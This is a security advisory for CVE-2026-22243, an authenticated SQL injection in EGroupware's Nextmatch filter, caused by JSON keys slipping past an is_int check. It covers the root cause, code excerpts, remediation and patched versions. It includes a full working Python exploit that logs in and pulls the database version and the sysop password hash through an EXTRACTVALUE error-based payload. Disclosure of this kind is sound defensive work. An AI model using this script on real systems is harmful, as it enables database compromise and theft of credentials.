CVE-2026-22243: EGroupware has SQL Injection in Nextmatch Filter Processing
Summary Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing
A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the isint() security check used by the application.
Details Root Cause Analysis The vulnerability exists in how the database abstraction layer (Api\Db) and high-level storage classes (Api\Storage\Base, infologso) process the colfilter array used in "Nextmatch" widgets.
The application attempts to validate input using isint($key) to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's jsondecode automatically converts numeric string keys (e.g., "0") into native integers.
Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (isint returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.
Vulnerable Code Locations
1. File: sources/egroupware/api/src/Db.php (Approx. Line 1776) Method: columndataimplode
php // In function columndataimplode elseif (isint($key) && $usekey===True) { if (empty($data)) continue; // VULNERABLE: $data is appended directly to SQL without sanitization $values[] = $data; }
2. File: sources/egroupware/api/src/Storage/Base.php (Approx. Line 1134) Method: parsesearch
php // In function parsesearch foreach($criteria as $col => $val) { // VULNERABLE: isint() returns true for JSON keys like "0" if (isint($col)) { $query[] = $val; } // ... }
PoC The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance (demo.egroupware.net).
Automated Exploit Script: The following script automates the login, execid extraction, and data exfiltration via Error-Based SQL Injection.
python import requests import re import sys import urllib3
Suppress SSL warnings urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)
CLI Configuration BASEURL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGINUSER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGINPASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" })
def extractforminputs(html): inputs = {} matches = re.findall(r'<input[^>]+>', html) for match in matches: namem = re.search(r'name="\'["\']', match) valuem = re.search(r'value="\'["\']', match) if namem: name = namem.group(1) value = valuem.group(1) if valuem else "" inputs[name] = value return inputs
def login(): print(f"[] Target: {BASEURL}") loginurl = f"{BASEURL}/login.php" try: print("[] Retrieving login form...") rget = session.get(loginurl, timeout=10) data = extractforminputs(rget.text) data.update({ "login": LOGINUSER, "passwd": LOGINPASS, "submitit": "Login", "passwdtype": "text" }) if 'cancel' in data: del data['cancel']
print(f"[] Attempting login as: {LOGINUSER}...") rpost = session.post(loginurl, data=data, allowredirects=True, timeout=15) if 'name="passwd"' in rpost.text and 'logout.php' not in rpost.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False
def getexecid(): print("[] Retrieving execid...") url = f"{BASEURL}/index.php?menuaction=addressbook.addressbookui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplateexecid(?:"|"|\\")\s:\s(?:"|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] execid pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None
def runquery(eid, sql): full = "" url = f"{BASEURL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajaxgetrows" print(f"[] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunksql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunksql}), 0x7e))" postdata = { "request": { "parameters": [eid, {"start": 0, "numrows": 1}, {"colfilter": {"0": payload}}] } } try: r = session.post(url, json=postdata, timeout=10) match = re.search(r"XPATH syntax error: '~(.)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) < 1: break else: break except Exception as e: print(f"[-] Query error: {e}") break return full if full else "NO DATA / ERROR"
if name == "main": if login(): eid = getexecid() if eid: print("\n" + "="40) print(" SQL INJECTION RESULTS ") print("="40) print(f"[+] DB Version: {runquery(eid, 'SELECT @@version')}") print(f"[+] DB Name: {runquery(eid, 'SELECT database()')}") print(f"[+] DB User: {runquery(eid, 'SELECT user()')}") print("\n[] Retrieving hash for 'sysop' user (if exists):") res = runquery(eid, "SELECT CONCAT(accountlid,':',accountpwd) FROM egwaccounts WHERE accountlid='sysop'") print(f" > {res}") print("="40 + "\n")
Proof of Verification on demo.egroupware.net:
The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />
Impact: Attackers with low-privileged access can fully compromise the database. This allows for: Confidentiality Loss: Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets). Integrity Loss: Modifying or deleting arbitrary data within the application. Availability Loss: Potential to drop tables or corrupt data.
Remediation 1. Input Validation (Whitelisting) Do not rely solely on isint() for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict whitelist (allowlist) of allowed column names for filtering in Nextmatch widgets. If the key/column is not in the whitelist, reject the request.
2. Parameter Binding Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.
3. Strict Type Checking When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using === for strict comparison or filtervar) before being used in SQL generation logic.
Credits
Reported by Łukasz Rybak
Other sources
EGroupware has SQL Injection in Nextmatch Filter Processing
— Packagist
EGroupware is a Web based groupware server written in PHP. A SQL Injection vulnerability exists in the core components of EGroupware prior to versions 23.1.20260113 and 26.0.20260113, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the isint() security check used by the application. Versions 23.1.20260113 and 26.0.20260113 patch the vulnerability.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/egroupware/egroupwareto a version that resolves this vulnerability.Fixed in 26.0.20260113 - Upgrade
Upgrade
composer/egroupware/egroupwareto a version that resolves this vulnerability.Fixed in 23.1.20260113 - Upgrade
Upgrade
EGroupwareto a version that resolves this vulnerability.Fixed in 23.1.20260113 - Upgrade
Upgrade
EGroupwareto a version that resolves this vulnerability.Fixed in 26.0.20260113 - Configuration
Bind all filter values as parameters using prepared statements instead of concatenating them directly into SQL strings.
EGroupware Nextmatch filter processing Parameter Binding = prepared statements - Configuration
Implement a strict whitelist of allowed column names for filtering and reject requests whose key or column is not whitelisted.
EGroupware Nextmatch widgets Allowed filter columns = strict whitelist - Configuration
Strictly check JSON-derived array keys against the expected types before using them in SQL generation logic; do not rely solely on is_int().
EGroupware JSON input handling Strict type checking for array keys = strict comparison or filter_var validation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-22243?
CVE-2026-22243 is classified as a high severity SQL Injection vulnerability.
How do I fix CVE-2026-22243?
To fix CVE-2026-22243, upgrade EGroupware to versions 23.1.20260113 or 26.0.20260113 or later.
What impact does CVE-2026-22243 have on EGroupware?
CVE-2026-22243 may allow an attacker to execute arbitrary SQL queries in the database.
Which versions of EGroupware are affected by CVE-2026-22243?
CVE-2026-22243 affects EGroupware versions prior to 23.1.20260113 and 26.0.20260113.
Is there a workaround for CVE-2026-22243 if I cannot update immediately?
There is no recommended workaround for CVE-2026-22243; the best solution is to apply the security update.